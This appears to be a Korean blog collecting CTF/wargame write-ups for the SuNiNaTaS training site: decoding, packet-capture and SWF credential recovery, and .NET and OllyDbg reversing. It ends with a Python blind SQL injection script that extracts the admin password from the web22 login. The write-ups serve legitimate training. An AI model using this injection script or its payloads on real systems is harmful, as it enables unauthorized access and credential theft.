문제 화면이다. 나오는 값들이 아스키 코드인것 같아 값들을 바꾸어 출력하면 base64로 보이는 값이 나온다. 그 값을 bas64디코딩 하면 플래그가 나온다. 이 과정을 코드로 작성하면 아래와 같다.

import base64
dats = "86 71 57 107 89 88 107 103 97 88 77 103 89 83 66 110 98 50 57 107 73 71 82 104 101 83 52 103 86 71 104 108 73 69 70 49 100 71 104 76 90 88 107 103 97 88 77 103 86 109 86 121 101 86 90 108 99 110 108 85 98 50 53 110 86 71 57 117 90 48 100 49 99 109 107 104"
text = ""
for dat in dats.split(" "):
    text += chr(int(dat))
print base64.b64decode(text)



'Wargame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS system16번  (0) 2017.06.01
SuNiNaTaS MISC13번  (0) 2017.05.31
SuNiNaTaS MISC17번  (0) 2017.05.31
SuNiNaTaS MISC12번  (0) 2017.05.26
SuNiNaTaS binary10번  (0) 2017.05.22

메인화면이다.

다운로드 하면 패킷파일이 받아진다.

와이어샤크로 열어서 http통신한 부분만 보면 로그인 하는 부분이 보인다.


로그인 시도를 여러번 한 로그가 보인다.

대부분 로그인 요청 후 응답 패킷을 보면 아래처럼 스크립트가 실행된다.


반면 한개의 응답 패킷은 아래와 같은 스크립트가 있다.



위 요청 패킷에서의 아이디랑 비밀번호는 아래와 같다.

211.233.89.203/member/mem_action.asp 에 접속하려하면 서버가 죽어있어서 접속이 안된다.

그래서 suninatas에 해당 아이디랑 비밀번호로 로그인을 하니 인증값이 나온다.




'Wargame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS FORENSIC18번  (0) 2017.07.17
SuNiNaTaS MISC13번  (0) 2017.05.31
SuNiNaTaS MISC17번  (0) 2017.05.31
SuNiNaTaS MISC12번  (0) 2017.05.26
SuNiNaTaS binary10번  (0) 2017.05.22

문제 화면이다. 관리자로 로그인하라는 힌트외엔 아무런 힌트가 없다.


웹에선 일반적으로 관리자 페이지를 admin이란 이름으로 지정한다.

해서 suninatas.com/admin에 들어가니 또다른 힌트가 나온다.


qrcode.jpg를 다운받아서 웹용 qrcode 리더에 업로드 하면 URL이 나온다.

이곳에 들어가면 아래와 같은 로그인 창이 나온다. 

로그인에 성공하면 될것 같은데.. 로그인 창이 단순히 html로 이루어진 폼이 아니라 swf파일이다.

로그인 버튼을 누르면 어디로 값을 전송하는지 알 수 없어서 고민하다.. swf를 decode 해주는 사이트를 알았다.

여기에 해당 url을 던져주면 디코드한 코드가 나온다.

코드를 보면 아이디는 admin이고, 비밀번호는 myadmin!@ 이지만

굳이 로그인할 필요없이 저 Auth에 있는 문장이 플래그다. 


'Wargame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS MISC13번  (0) 2017.05.31
SuNiNaTaS MISC17번  (0) 2017.05.31
SuNiNaTaS binary10번  (0) 2017.05.22
SuNiNaTaS binary11번  (0) 2017.05.22
SuNiNaTaS binary09번  (0) 2017.05.22

문제를 다운받아 PEiD로 보면 C#으로 컴파일 된 파일이다.

.net Decompiler로 이 파일을 열어보자.

디컴파일러는 jetbrains dotpeek를 사용했다.


디컴파일된 소스를 보면 인증키가 나온다.


'Wargame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS MISC17번  (0) 2017.05.31
SuNiNaTaS MISC12번  (0) 2017.05.26
SuNiNaTaS binary11번  (0) 2017.05.22
SuNiNaTaS binary09번  (0) 2017.05.22
SuNiNaTaS web23번  (0) 2017.03.10

문제 파일을 다운받고 실행 시키면 메시지 창이 나온다.

우선 아무 값이나 입력하고 버튼을 눌러보면 반응이 없다. 정확한 값을 입력해야지 반응이 있을것으로 보인다.


올리디버거로 열어서 참조 문자열들을 보니 Congratulation!이라는 문자열이 있다.

이 주변에서 호출되는 함수들에 BP를 걸고 그 주위를 살펴보자.


올리에서 실행시키고 12345를 입력하고 BP에서 멈춘다.


0045034C에서 EBP-4에는 012621D4라는 주소가 들어있는데, 012621D4에는 사용자가 입력한 값이 들어있다. 이 값을 EAX에 MOV한다는 것이다.

0045034F에서 EBX+330는 012621BC라는 주소가 들어있는데, 012621BC에는 입력갑과 비교할 값이 들어있다. 이 값을 EDX에 MOV한다는 것이다.

레지스터는 아래와 같다.

그리고 아래 함수를 호출하면 JMP가 활성화 되지 않고 진행되어서 인증키가 나온다.

'Wargame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS MISC12번  (0) 2017.05.26
SuNiNaTaS binary10번  (0) 2017.05.22
SuNiNaTaS binary09번  (0) 2017.05.22
SuNiNaTaS web23번  (0) 2017.03.10
SuNiNaTaS web22번  (0) 2017.03.07

import urllib, urllib2, sys

url = "http://suninatas.com/Part_one/web22/web22.asp?"
#string = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$%^&*()_+|\?><"
key = ""

for i in range(1,11):
    for j in range(30,126):
        dat = {'id': "admin' and (substring(pw,"+str(i)+",1)='"+chr(j)+"')-- ", 'pw': '1'}
        dat = urllib.urlencode(dat)
        req = urllib2.Request(url, dat,headers={'Host':'suninatas.com',
                                                'Cookie': 'ASPSESSIONIDQATDBBCA=HEFDDLLDNHPHJJECHJOCLANO'})
        res = urllib2.urlopen(req).read()
        print "i:"+ str(i) + "j:"+str(j)
        if "color=blue>admin" in res:
            print "[*]Find string! : " + chr(j)
            key += chr(j)
            break
            sys.exit(1)

print "[+]FIND! : " + key

'Wargame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS binary09번  (0) 2017.05.22
SuNiNaTaS web23번  (0) 2017.03.10
SuNiNaTaS web08번  (0) 2017.03.07
SuNiNaTaS web07번  (0) 2017.03.07
SuNiNaTaS web06번  (0) 2017.03.07

+ Recent posts